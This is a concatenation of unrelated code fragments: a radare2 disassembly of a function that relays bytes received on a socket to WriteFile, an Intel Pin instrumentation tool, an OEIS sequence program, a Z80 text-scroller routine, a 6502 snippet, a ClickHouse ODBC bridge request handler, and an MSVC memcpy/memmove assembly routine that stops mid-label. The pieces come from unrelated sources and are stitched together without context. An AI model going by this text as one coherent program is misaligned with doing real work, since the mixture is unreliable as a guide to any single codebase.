│ ────────< 0x00401981 0f84ac000000 je 0x401a33
│ ↑↑↑││││ 0x00401987 837dec00 cmp dword [local_14h], 0
│ ────────< 0x0040198b 0f8e0bffffff jle 0x40189c
│ ↑↑↑││││ 0x00401991 c744240c0000. mov dword [local_ch_2], 0
│ ↑↑↑││││ 0x00401999 c74424080004. mov dword [local_8h], 0x400 ; [0x400:4]=0xb48dc3f3
│ ↑↑↑││││ 0x004019a1 8d85f8f9ffff lea eax, [local_608h]
│ ↑↑↑││││ 0x004019a7 89442404 mov dword [local_4h], eax
│ ↑↑↑││││ 0x004019ab 8b45f0 mov eax, dword [local_10h]
│ ↑↑↑││││ 0x004019ae 890424 mov dword [esp], eax
│ ↑↑↑││││ 0x004019b1 a158624000 mov eax, dword sym.imp.WS2_32.dll_recv ; [0x406258:4]=0x6600 reloc.WS2_32.dll_recv_0
│ ↑↑↑││││ 0x004019b6 ffd0 call eax
│ ↑↑↑││││ 0x004019b8 83ec10 sub esp, 0x10
│ ↑↑↑││││ 0x004019bb 8985f4f5ffff mov dword [local_a0ch], eax
│ ↑↑↑││││ 0x004019c1 8b85f4f5ffff mov eax, dword [local_a0ch]
│ ↑↑↑││││ 0x004019c7 85c0 test eax, eax
│ ────────< 0x004019c9 750f jne 0x4019da
│ ↑↑↑││││ 0x004019cb 8b85f4f5ffff mov eax, dword [local_a0ch]
│ ↑↑↑││││ 0x004019d1 85c0 test eax, eax
│ ────────< 0x004019d3 7461 je 0x401a36
│ └───────< 0x004019d5 e9c2feffff jmp 0x40189c
│ ────────> 0x004019da 90 nop
│ ↑↑││││ 0x004019db 8b85f4f5ffff mov eax, dword [local_a0ch]
│ ↑↑││││ 0x004019e1 85c0 test eax, eax
│ └──────< 0x004019e3 0f84b3feffff je 0x40189c
│ ↑││││ 0x004019e9 8b95f4f5ffff mov edx, dword [local_a0ch]
│ ↑││││ 0x004019ef 8b85d4f5ffff mov eax, dword [local_a2ch]
│ ↑││││ 0x004019f5 c74424100000. mov dword [local_10h_2], 0
│ ↑││││ 0x004019fd 8d8df0f5ffff lea ecx, [local_a10h]
│ ↑││││ 0x00401a03 894c240c mov dword [local_ch_2], ecx
│ ↑││││ 0x00401a07 89542408 mov dword [local_8h], edx
│ ↑││││ 0x00401a0b 8d95f8f9ffff lea edx, [local_608h]
│ ↑││││ 0x00401a11 89542404 mov dword [local_4h], edx
│ ↑││││ 0x00401a15 890424 mov dword [esp], eax
│ ↑││││ 0x00401a18 a1c8614000 mov eax, dword sym.imp.KERNEL32.dll_WriteFile ; [0x4061c8:4]=0x6484 reloc.KERNEL32.dll_WriteFile_132
│ ↑││││ 0x00401a1d ffd0 call eax
│ ↑││││ 0x00401a1f 83ec14 sub esp, 0x14
│ └─────< 0x00401a22 e975feffff jmp 0x40189c
│ │││└─> 0x00401a27 90 nop
│ │││┌─< 0x00401a28 eb0d jmp 0x401a37
│ ││└──> 0x00401a2a 90 nop
│ ││┌──< 0x00401a2b eb0a jmp 0x401a37
│ │└───> 0x00401a2d 90 nop
│ │┌───< 0x00401a2e eb07 jmp 0x401a37
│ └────> 0x00401a30 90 nop
│ ┌────< 0x00401a31 eb04 jmp 0x401a37
│ ────────> 0x00401a33 90 nop
│ ┌─────< 0x00401a34 eb01 jmp 0x401a37
│ ────────> 0x00401a36 90 nop
│ │││││ ; JMP XREF from 0x00401a28 (sym._sc)
│ │││││ ; JMP XREF from 0x00401a2b (sym._sc)
│ │││││ ; JMP XREF from 0x00401a2e (sym._sc)
│ │││││ ; JMP XREF from 0x00401a31 (sym._sc)
│ │││││ ; JMP XREF from 0x00401a34 (sym._sc)
│ └└└└└─> 0x00401a37 c9 leave
└ 0x00401a38 c3 ret
|
/*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2013 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
#include <iostream>
#include <fstream>
#include "pin.H"
// This tool inserts the std instruction before each instruction
// This function is called before every instruction
// Use the fast linkage for calls
VOID PIN_FAST_ANALYSIS_CALL setdf()
{
asm volatile("std");
}
VOID Instruction(INS ins, VOID *v)
{
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)setdf, IARG_FAST_ANALYSIS_CALL, IARG_END);
}
// argc, argv are the entire command line, including pin -t <toolname> -- ...
int main(int argc, char * argv[])
{
// Initialize pin
PIN_Init(argc, argv);
// Register Instruction to be called to instrument instructions
INS_AddInstrumentFunction(Instruction, 0);
// Start the program, never returns
PIN_StartProgram();
return 0;
}
|
; A167353: Totally multiplicative sequence with a(p) = (p+1)*(p+3) = p^2+4p+3 for prime p.
; Submitted by Jon Maiga
; 1,15,24,225,48,360,80,3375,576,720,168,5400,224,1200,1152,50625,360,8640,440,10800,1920,2520,624,81000,2304,3360,13824,18000,960,17280,1088,759375,4032,5400,3840,129600,1520,6600,5376,162000,1848,28800,2024,37800,27648,9360,2400,1215000,6400,34560,8640,50400,3024,207360,8064,270000,10560,14400,3720,259200,3968,16320,46080,11390625,10752,60480,4760,81000,14976,57600,5328,1944000,5624,22800,55296,99000,13440,80640,6560,2430000,331776,27720,7224,432000,17280,30360,23040,567000,8280,414720,17920
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
add $2,1
mul $5,$2
mul $1,$5
add $5,2
mul $1,$5
mod $2,3
lpe
lpe
mov $0,$1
|
; WriteZSColumn called once per frame from the menu, and prints one character column for
; the two zoomed scrollers.
.WriteZSColumn
ld hl,(ZSCharPtr) ; pointer to msg text starting at label ZoomScrollMsg
ld a,(ZSCharCol) ; 0-7, column number of pixels to print this frame
inc a
and a,7
ld (ZSCharCol),a
jr nz,WrZSNoNewChar ; if back to column zero, start a new character
inc hl
bit 7,(hl)
jr z,NoMsgReset
ld hl,ZoomScrollMsg ; if bit 7 of new character is high, restart msg
.NoMsgReset
ld (ZSCharPtr),hl
.WrZSNoNewChar
ld c,a
ld a,(hl)
sub a,65
jr nc,NotSpace
ld a,31 ; for space, point to last character in ZSfont, which is blank
.NotSpace
rlca
rlca
rlca ; mulitply character no. by 8
add a,c ; and add current column
ld l,a
ld h,&44 ; font occupies &4400 in base ram
ld a,(hl) ; a contains bit list for this column of char
ld c,a ; preserve char column for second print
; now get & set new column offset for top scroll which is going backwards
ld hl,(HighZoomScrlOffset) ; &c000
dec hl
bit 2,h ; this offset is the crtc offset, so should be 0-&3ff
jr z,DontResetHighZSAddr
ld h,&3 ; if it became &ffff, set to &3ff
.DontResetHighZSAddr
ld (HighZoomScrlOffset),hl
add hl,hl
set 7,h ; high scroller is at &c000
set 6,h
ld iy,HighColumnReturn
ld b,7
.HighColZSLp
rra ; scroll text is upside down, rla used for bottom scroller
jr c,DrawZSChar
jr DrawZSBlank
.HighColumnReturn
djnz HighColZSLp
; now do low Zoom Scroller
ld a,c ; recover column byte from c and repeat for low scroller
ld hl,(LowZoomScrlOffset) ; &8000
inc hl
res 2,h ; limit range to 0-&3ff
ld (LowZoomScrlOffset),hl
add hl,hl
ld de,&804e ; scroll is going left, so print on right side
add hl,de
res 3,h ; ensure start screen address range is &8000-&87fe
ld iy,LowColumnReturn
ld b,7
.LowColZSLp
rla
jr c,DrawZSChar
jr DrawZSBlank
.LowColumnReturn
djnz LowColZSLp
ret
.DrawZSChar ; draw visible character
ld de,80 - #2000
ld (hl),3:inc l:ld (hl),22:set 3,h
ld (hl),12:dec l:ld (hl),6:set 4,h
ld (hl),22:inc l:ld (hl),44:res 3,h
ld (hl),44:dec l:ld (hl),22:set 5,h
ld (hl),3:inc l:ld (hl),6:set 3,h
ld (hl),12:dec l:ld (hl),44:res 4,h
ld (hl),22:inc l:ld (hl),44:res 3,h
ld (hl),44:dec l:ld (hl),22
add hl,de:res 3,h
jp (iy)
.DrawZSBlank ; clear current character
ex af,af'
xor a
ld de,80 - #2000
ld (hl),a:inc l:ld (hl),a:set 3,h
ld (hl),a:dec l:ld (hl),a:set 4,h
ld (hl),a:inc l:ld (hl),a:res 3,h
ld (hl),a:dec l:ld (hl),a:set 5,h
ld (hl),a:inc l:ld (hl),a:set 3,h
ld (hl),a:dec l:ld (hl),a:res 4,h
ld (hl),a:inc l:ld (hl),a:res 3,h
ld (hl),a:dec l:ld (hl),a
add hl,de:res 3,h
ex af,af'
jp (iy)
|
ldy {c2},x
cmp {c1},y
bcc {la1}
|
#include "MainHandler.h"
#include "validateODBCConnectionString.h"
#include "ODBCBlockInputStream.h"
#include "ODBCBlockOutputStream.h"
#include "getIdentifierQuote.h"
#include <DataStreams/copyData.h>
#include <DataTypes/DataTypeFactory.h>
#include <Formats/FormatFactory.h>
#include <Server/HTTP/WriteBufferFromHTTPServerResponse.h>
#include <IO/WriteHelpers.h>
#include <IO/ReadHelpers.h>
#include <IO/ReadBufferFromIStream.h>
#include <Poco/Net/HTTPServerRequest.h>
#include <Poco/Net/HTTPServerResponse.h>
#include <Poco/Net/HTMLForm.h>
#include <Poco/ThreadPool.h>
#include <Processors/Formats/InputStreamFromInputFormat.h>
#include <common/logger_useful.h>
#include <Server/HTTP/HTMLForm.h>
#include <mutex>
#include <memory>
namespace DB
{
namespace
{
std::unique_ptr<Block> parseColumns(std::string && column_string)
{
std::unique_ptr<Block> sample_block = std::make_unique<Block>();
auto names_and_types = NamesAndTypesList::parse(column_string);
for (const NameAndTypePair & column_data : names_and_types)
sample_block->insert({column_data.type, column_data.name});
return sample_block;
}
}
void ODBCHandler::processError(HTTPServerResponse & response, const std::string & message)
{
response.setStatusAndReason(HTTPResponse::HTTP_INTERNAL_SERVER_ERROR);
if (!response.sent())
*response.send() << message << std::endl;
LOG_WARNING(log, message);
}
void ODBCHandler::handleRequest(HTTPServerRequest & request, HTTPServerResponse & response)
{
HTMLForm params(request);
LOG_TRACE(log, "Request URI: {}", request.getURI());
if (mode == "read")
params.read(request.getStream());
if (mode == "read" && !params.has("query"))
{
processError(response, "No 'query' in request body");
return;
}
if (!params.has("connection_string"))
{
processError(response, "No 'connection_string' in request URL");
return;
}
if (!params.has("sample_block"))
{
processError(response, "No 'sample_block' in request URL");
return;
}
std::string format = params.get("format", "RowBinary");
std::string connection_string = params.get("connection_string");
LOG_TRACE(log, "Connection string: '{}'", connection_string);
UInt64 max_block_size = DEFAULT_BLOCK_SIZE;
if (params.has("max_block_size"))
{
std::string max_block_size_str = params.get("max_block_size", "");
if (max_block_size_str.empty())
{
processError(response, "Empty max_block_size specified");
return;
}
max_block_size = parse<size_t>(max_block_size_str);
}
std::string sample_block_string = params.get("sample_block");
std::unique_ptr<Block> sample_block;
try
{
sample_block = parseColumns(std::move(sample_block_string));
}
catch (const Exception & ex)
{
processError(response, "Invalid 'sample_block' parameter in request body '" + ex.message() + "'");
LOG_ERROR(log, ex.getStackTraceString());
return;
}
WriteBufferFromHTTPServerResponse out(response, request.getMethod() == Poco::Net::HTTPRequest::HTTP_HEAD, keep_alive_timeout);
try
{
auto connection = ODBCConnectionFactory::instance().get(
validateODBCConnectionString(connection_string),
getContext()->getSettingsRef().odbc_bridge_connection_pool_size);
if (mode == "write")
{
if (!params.has("db_name"))
{
processError(response, "No 'db_name' in request URL");
return;
}
if (!params.has("table_name"))
{
processError(response, "No 'table_name' in request URL");
return;
}
std::string db_name = params.get("db_name");
std::string table_name = params.get("table_name");
LOG_TRACE(log, "DB name: '{}', table name: '{}'", db_name, table_name);
auto quoting_style = IdentifierQuotingStyle::None;
#if USE_ODBC
quoting_style = getQuotingStyle(connection->get());
#endif
auto & read_buf = request.getStream();
auto input_format = FormatFactory::instance().getInput(format, read_buf, *sample_block, getContext(), max_block_size);
auto input_stream = std::make_shared<InputStreamFromInputFormat>(input_format);
ODBCBlockOutputStream output_stream(std::move(connection), db_name, table_name, *sample_block, getContext(), quoting_style);
copyData(*input_stream, output_stream);
writeStringBinary("Ok.", out);
}
else
{
std::string query = params.get("query");
LOG_TRACE(log, "Query: {}", query);
BlockOutputStreamPtr writer = FormatFactory::instance().getOutputStreamParallelIfPossible(format, out, *sample_block, getContext());
ODBCBlockInputStream inp(std::move(connection), query, *sample_block, max_block_size);
copyData(inp, *writer);
}
}
catch (...)
{
auto message = getCurrentExceptionMessage(true);
response.setStatusAndReason(
Poco::Net::HTTPResponse::HTTP_INTERNAL_SERVER_ERROR); // can't call process_error, because of too soon response sending
try
{
writeStringBinary(message, out);
out.finalize();
}
catch (...)
{
tryLogCurrentException(log);
}
tryLogCurrentException(log);
}
try
{
out.finalize();
}
catch (...)
{
tryLogCurrentException(log);
}
}
}
|
page ,132
title memcpy - Copy source memory bytes to destination
;***
;memcpy.asm - contains memcpy and memmove routines
;
; Copyright (c) Microsoft Corporation. All rights reserved.
;
;Purpose:
; memcpy() copies a source memory buffer to a destination buffer.
; Overlapping buffers are not treated specially, so propogation may occur.
; memmove() copies a source memory buffer to a destination buffer.
; Overlapping buffers are treated specially, to avoid propogation.
;
;*******************************************************************************
.xlist
include vcruntime.inc
.list
.xmm
M_EXIT macro
ret ; _cdecl return
endm ; M_EXIT
PALIGN_memcpy macro d
MovPalign&d&:
movdqa xmm1,xmmword ptr [esi-d]
lea esi, byte ptr [esi-d]
align @WordSize
PalignLoop&d&:
movdqa xmm3,xmmword ptr [esi+10h]
sub ecx,30h
movdqa xmm0,xmmword ptr [esi+20h]
movdqa xmm5,xmmword ptr [esi+30h]
lea esi, xmmword ptr [esi+30h]
cmp ecx,30h
movdqa xmm2,xmm3
palignr xmm3,xmm1,d
movdqa xmmword ptr [edi],xmm3
movdqa xmm4,xmm0
palignr xmm0,xmm2,d
movdqa xmmword ptr [edi+10h],xmm0
movdqa xmm1,xmm5
palignr xmm5,xmm4,d
movdqa xmmword ptr [edi+20h],xmm5
lea edi, xmmword ptr [edi+30h]
jae PalignLoop&d&
lea esi, xmmword ptr [esi+d]
endm ; PALIGN_memcpy
CODESEG
extrn __isa_available:dword
extrn __isa_enabled:dword
extrn __favor:dword
page
;***
;memcpy - Copy source buffer to destination buffer
;
;Purpose:
; memcpy() copies a source memory buffer to a destination memory buffer.
; This routine does NOT recognize overlapping buffers, and thus can lead
; to propogation.
; For cases where propogation must be avoided, memmove() must be used.
;
; Algorithm:
;
; Same as memmove. See Below
;
;
;memmove - Copy source buffer to destination buffer
;
;Purpose:
; memmove() copies a source memory buffer to a destination memory buffer.
; This routine recognize overlapping buffers to avoid propogation.
; For cases where propogation is not a problem, memcpy() can be used.
;
; Algorithm:
;
; void * memmove(void * dst, void * src, size_t count)
; {
; void * ret = dst;
;
; if (dst <= src || dst >= (src + count)) {
; /*
; * Non-Overlapping Buffers
; * copy from lower addresses to higher addresses
; */
; while (count--)
; *dst++ = *src++;
; }
; else {
; /*
; * Overlapping Buffers
; * copy from higher addresses to lower addresses
; */
; dst += count - 1;
; src += count - 1;
;
; while (count--)
; *dst-- = *src--;
; }
;
; return(ret);
; }
;
;
;Entry:
; void *dst = pointer to destination buffer
; const void *src = pointer to source buffer
; size_t count = number of bytes to copy
;
;Exit:
; Returns a pointer to the destination buffer in AX/DX:AX
;
;Uses:
; CX, DX
;
;Exceptions:
;*******************************************************************************
ifdef MEM_MOVE
_MEM_ equ <memmove>
else ; MEM_MOVE
_MEM_ equ <memcpy>
endif ; MEM_MOVE
% public _MEM_
_MEM_ proc \
dst:ptr byte, \
src:ptr byte, \
count:IWORD
; destination pointer
; source pointer
; number of bytes to copy
OPTION PROLOGUE:NONE, EPILOGUE:NONE
push edi ; save edi
push esi ; save esi
; size param/4 prolog byte #reg saved
.FPO ( 0, 3 , $-_MEM_ , 2, 0, 0 )
mov esi,[esp + 010h] ; esi = source
mov ecx,[esp + 014h] ; ecx = number of bytes to move
mov edi,[esp + 0Ch] ; edi = dest
;
; Check for overlapping buffers:
; If (dst <= src) Or (dst >= src + Count) Then
; Do normal (Upwards) Copy
; Else
; Do Downwards Copy to avoid propagation
;
mov eax,ecx ; eax = byte count
mov edx,ecx ; edx = byte count
add eax,esi ; eax = point past source end
cmp edi,esi ; dst <= src ?
jbe short CopyUp ; no overlap: copy toward higher addresses
cmp edi,eax ; dst < (src + count) ?
jb CopyDown ; overlap: copy toward lower addresses
;
; Buffers do not overlap, copy toward higher addresses.
;
CopyUp:
cmp ecx, 020h
jb CopyUpDwordMov ; size smaller than 32 bytes, use dwords
cmp ecx, 080h
jae CopyUpLargeMov ; if greater than or equal to 128 bytes, use Enhanced fast Strings
bt __isa_enabled, __ISA_AVAILABLE_SSE2
jc XmmCopySmallTest
jmp Dword_align
CopyUpLargeMov:
bt __favor, __FAVOR_ENFSTRG ; check if Enhanced Fast Strings is supported
jnc CopyUpSSE2Check ; if not, check for SSE2 support
rep movsb
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi
pop edi
M_EXIT
;
; Check if source and destination are equally aligned.
;
CopyUpSSE2Check:
mov eax,edi
xor eax,esi
test eax,15
jne AtomChk ; Not aligned go check Atom
bt __isa_enabled, __ISA_AVAILABLE_SSE2
jc XmmCopy ; yes, go SSE2 copy (params already set)
AtomChk:
; Is Atom supported?
bt __favor, __FAVOR_ATOM
jnc Dword_align ; no,jump
; check if dst is 4 byte aligned
test edi, 3
jne Dword_align
; check if src is 4 byte aligned
test esi, 3
jne Dword_align_Ok
; A software pipelining vectorized memcpy loop using PALIGN instructions
; (1) copy the first bytes to align dst up to the nearest 16-byte boundary
; 4 byte align -> 12 byte copy, 8 byte align -> 8 byte copy, 12 byte align -> 4 byte copy
PalignHead4:
bt edi, 2
jae PalignHead8
mov eax, dword ptr [esi]
sub ecx, 4
lea esi, byte ptr [esi+4]
mov dword ptr [edi], eax
lea edi, byte ptr [edi+4]
PalignHead8:
bt edi, 3
jae PalignLoop
movq xmm1, qword ptr [esi]
sub ecx, 8
lea esi, byte ptr [esi+8]
movq qword ptr [edi], xmm1
lea edi, byte ptr [edi+8]
;(2) Use SSE palign loop
PalignLoop:
test esi, 7
je MovPalign8
bt esi, 3
jae MovPalign4
PALIGN_memcpy 12
jmp PalignTail
PALIGN_memcpy 8
jmp PalignTail
PALIGN_memcpy 4
;(3) Copy the tailing bytes.
PalignTail:
cmp ecx,10h
jb PalignTail4
movdqu xmm1,xmmword ptr [esi]
sub ecx, 10h
lea esi, xmmword ptr [esi+10h]
movdqa xmmword ptr [edi],xmm1
lea edi, xmmword ptr [edi+10h]
jmp PalignTail
PalignTail4:
bt ecx, 2
jae PalignTail8
mov eax, dword ptr [esi]
sub ecx,4
lea esi, byte ptr [esi+4]
mov dword ptr [edi], eax
lea edi, byte ptr [edi+4]
PalignTail8:
bt ecx, 3
jae PalignTailLE3
movq xmm1, qword ptr [esi]
sub ecx,8
lea esi, byte ptr [esi+8]
movq qword ptr [edi], xmm1
lea edi, byte ptr [edi+8]
PalignTailLE3:
mov eax, dword ptr TrailingUpVec[ecx*4]
jmp eax
; The algorithm for forward moves is to align the destination to a dword
; boundary and so we can move dwords with an aligned destination. This
; occurs in 3 steps.
;
; - move x = ((4 - Dest & 3) & 3) bytes
; - move y = ((L-x) >> 2) dwords
; - move (L - x - y*4) bytes
;
Dword_align:
test edi,11b ; check if destination is dword aligned
jz short Dword_align_Ok ; if destination not dword aligned already, it should be aligned
Dword_up_align_loop:
mov al, byte ptr [esi]
mov byte ptr [edi], al
dec ecx
add esi, 1
add edi, 1
test edi, 11b
jnz Dword_up_align_loop
Dword_align_Ok:
mov edx, ecx
cmp ecx, 32
jb CopyUpDwordMov
shr ecx,2
rep movsd ; move all of our dwords
and edx,11b ; trailing byte count
jmp dword ptr TrailingUpVec[edx*4] ; process trailing bytes
;
; Code to do optimal memory copies for non-dword-aligned destinations.
;
; The following length check is done for two reasons:
;
; 1. to ensure that the actual move length is greater than any possiale
; alignment move, and
;
; 2. to skip the multiple move logic for small moves where it would
; be faster to move the bytes with one instruction.
;
align @WordSize
ByteCopyUp:
jmp dword ptr TrailingUpVec[ecx*4+16] ; process just bytes
;-----------------------------------------------------------------------------
align @WordSize
TrailingUpVec dd TrailingUp0, TrailingUp1, TrailingUp2, TrailingUp3
align @WordSize
TrailingUp0:
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
; spare
M_EXIT
align @WordSize
TrailingUp1:
mov al,[esi] ; get byte from source
; spare
mov [edi],al ; put byte in destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
align @WordSize
TrailingUp2:
mov al,[esi] ; get first byte from source
; spare
mov [edi],al ; put first byte into destination
mov al,[esi+1] ; get second byte from source
mov [edi+1],al ; put second byte into destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
align @WordSize
TrailingUp3:
mov al,[esi] ; get first byte from source
; spare
mov [edi],al ; put first byte into destination
mov al,[esi+1] ; get second byte from source
mov [edi+1],al ; put second byte into destination
mov al,[esi+2] ; get third byte from source
mov [edi+2],al ; put third byte into destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
; Copy down to avoid propogation in overlapping buffers.
align @WordSize
CopyDown:
; inserting check for size. For < 16 bytes, use dwords without checkign for alignment
lea esi, [esi+ecx] ; esi, edi pointing to the end of the buffer
lea edi, [edi+ecx]
cmp ecx, 32
jb CopyDownSmall
bt __isa_enabled, __ISA_AVAILABLE_SSE2
jc XmmMovLargeAlignTest
; See if the destination start is dword aligned
test edi,11b ; Test if dword aligned
jz CopyDownAligned ; If not, jump
CopyDownNotAligned:
mov edx,edi ; get destination offset
and edx, 11b
sub ecx, edx
CopyDownAlignLoop:
mov al, byte ptr [esi-1]
mov byte ptr[edi-1], al
dec esi
dec edi
sub edx, 1
jnz CopyDownAlignLoop
CopyDownAligned:
cmp ecx,32 ; test if small enough for unwind copy
jb CopyDownSmall ; if so, then jump
mov edx, ecx
shr ecx,2 ; shift down to dword count
and edx,11b ; trailing byte count
sub esi, 4
sub edi, 4 ; settign up src, dest registers
std ; set direction flag
rep movsd ; move all of dwords at once
cld ; clear direction flag back
jmp dword ptr TrailingDownVec[edx*4]; process trailing bytes
;-----------------------------------------------------------------------------
align @WordSize
TrailingDownVec dd TrailingDown0, TrailingDown1, TrailingDown2, TrailingDown3
align @WordSize
TrailingDown0:
mov eax,[esp + 0Ch] ; return original destination pointer
; spare
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
align @WordSize
TrailingDown1:
mov al,[esi+3] ; get byte from source
; spare
mov [edi+3],al ; put byte in destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
align @WordSize
TrailingDown2:
mov al,[esi+3] ; get first byte from source
; spare
mov [edi+3],al ; put first byte into destination
mov al,[esi+2] ; get second byte from source
mov [edi+2],al ; put second byte into destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
align @WordSize
TrailingDown3:
mov al,[esi+3] ; get first byte from source
; spare
mov [edi+3],al ; put first byte into destination
mov al,[esi+2] ; get second byte from source
mov [edi+2],al ; put second byte into destination
mov al,[esi+1] ; get third byte from source
mov [edi+1],al ; put third byte into destination
mov eax,[esp + 0Ch] ; return original destination pointer
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
; Copy overlapping buffers using XMM registers
XmmMovLargeAlignTest:
test edi, 0Fh ; check if it's 16-byte aligned
jz XmmMovLargeLoop
XmmMovAlignLoop:
dec ecx
dec esi
dec edi
mov al, [esi]
mov [edi], al
test edi, 0Fh
jnz XmmMovAlignLoop
XmmMovLargeLoop:
cmp ecx, 128
jb XmmMovSmallTest
sub esi, 128
sub edi, 128
movdqu xmm0, xmmword ptr[esi]
movdqu xmm1, xmmword ptr[esi+16]
movdqu xmm2, xmmword ptr[esi+32]
movdqu xmm3, xmmword ptr[esi+48]
movdqu xmm4, xmmword ptr[esi+64]
movdqu xmm5, xmmword ptr[esi+80]
movdqu xmm6, xmmword ptr[esi+96]
movdqu xmm7, xmmword ptr[esi+112]
movdqu xmmword ptr[edi], xmm0
movdqu xmmword ptr[edi+16], xmm1
movdqu xmmword ptr[edi+32], xmm2
movdqu xmmword ptr[edi+48], xmm3
movdqu xmmword ptr[edi+64], xmm4
movdqu xmmword ptr[edi+80], xmm5
movdqu xmmword ptr[edi+96], xmm6
movdqu xmmword ptr[edi+112], xmm7
sub ecx, 128
test ecx, 0FFFFFF80h
jnz XmmMovLargeLoop
XmmMovSmallTest:
cmp ecx, 32 ; if lesser than 32, use dwords
jb CopyDownSmall
XmmMovSmallLoop:
sub esi, 32
sub edi, 32
movdqu xmm0, xmmword ptr[esi]
movdqu xmm1, xmmword ptr[esi+16]
movdqu xmmword ptr[edi], xmm0
movdqu xmmword ptr[edi+16], xmm1
sub ecx, 32
test ecx, 0FFFFFFE0h
jnz XmmMovSmallLoop
CopyDownSmall:
test ecx, 0FFFFFFFCh ; mask the bytes
jz CopyDownByteTest
CopyDownDwordLoop:
sub edi, 4
sub esi, 4
mov eax, [esi]
mov [edi], eax
sub ecx, 4
test ecx, 0FFFFFFFCh
jnz CopyDownDwordLoop
CopyDownByteTest:
test ecx, ecx
jz CopyDownReturn
CopyDownByteLoop:
sub edi, 1
sub esi, 1
mov al, [esi]
mov [edi], al
sub ecx, 1
jnz CopyDownByteLoop
CopyDownReturn:
mov eax,[esp + 0Ch] ; return original destination pointer
; spare
pop esi ; restore esi
pop edi ; restore edi
M_EXIT
; Using XMM registers for non-overlapping buffers
align 16
XmmCopy:
mov eax, esi
and eax, 0Fh
; eax = src and dst alignment (src mod 16)
test eax, eax
jne XmmCopyUnaligned
; in:
; edi = dst (16 byte aligned)
; esi = src (16 byte aligned)
; ecx = len is >= (128 - head alignment bytes)
; do block copy using SSE2 stores
XmmCopyAligned:
mov edx, ecx
and ecx, 7Fh
shr edx, 7
je XmmCopySmallTest
; ecx = loop count
; edx = remaining copy length
; Copy greater than or equal to 128 bytes using XMM registers
align 16
XmmCopyLargeLoop:
movdqa xmm0,xmmword ptr [esi]
movdqa xmm1,xmmword ptr [esi + 10h]
movdqa xmm2,xmmword ptr [esi + 20h]
movdqa xmm3,xmmword ptr [esi + 30h]
movdqa xmmword ptr [edi],xmm0
movdqa xmmword ptr [edi + 10h],xmm1
movdqa xmmword ptr [edi + 20h],xmm2
movdqa xmmword ptr [edi + 30h],xmm3
movdqa xmm4,xmmword ptr [esi + 40h]
movdqa xmm5,xmmword ptr [esi + 50h]
movdqa xmm6,xmmword ptr [esi + 60h]
movdqa xmm7,xmmword ptr [esi + 70h]
movdqa xmmword ptr [edi + 40h],xmm4
movdqa xmmword ptr [edi + 50h],xmm5
movdqa xmmword ptr [edi + 60h],xmm6
movdqa xmmword ptr [edi + 70h],xmm7
lea esi,[esi + 80h]
lea edi,[edi + 80h]
dec edx
jne XmmCopyLargeLoop
; Copy lesser than 128 bytes
XmmCopySmallTest:
test ecx, ecx
je CopyUpReturn
; ecx = length (< 128 bytes)
mov edx, ecx
shr edx, 5 ; check if there are 32 bytes that can be set
test edx, edx
je CopyUpDwordMov
; if > 16 bytes do a loop (16 bytes at a time)
; edx - loop count
; edi = dst
; esi = src
align 16
XmmCopySmallLoop:
movdqu xmm0, xmmword ptr [esi]
movdqu xmm1, xmmword ptr [esi + 10h]
movdqu xmmword ptr [edi], xmm0
movdqu xmmword ptr [edi + 10h], xmm1
lea esi, [esi + 20h]
lea edi, [edi + 20h]
dec edx
jne XmmCopySmallLoop
CopyUpDwordMov:
; last 1-32 bytes: step back according to dst and src alignment and do a 16-byte copy
; esi = src
; eax = src alignment (set at the start of the procedure and preserved up to here)
; edi = dst
; ecx = remaining len
and ecx, 1Fh
je CopyUpReturn
CopyUpDwordTest:
mov eax, ecx ; save remaining len and calc number of dwords
shr ecx, 2
je CopyUpByteTest ; if none try bytes
CopyUpDwordLoop:
mov edx, dword ptr [esi]
mov dword ptr [edi], edx
add edi, 4
add esi, 4
sub ecx, 1
jne CopyUpDwordLoop
CopyUpByteTest:
mov ecx, eax
and ecx, 03h
je CopyUpReturn ; if none return
CopyUpByteLoop:
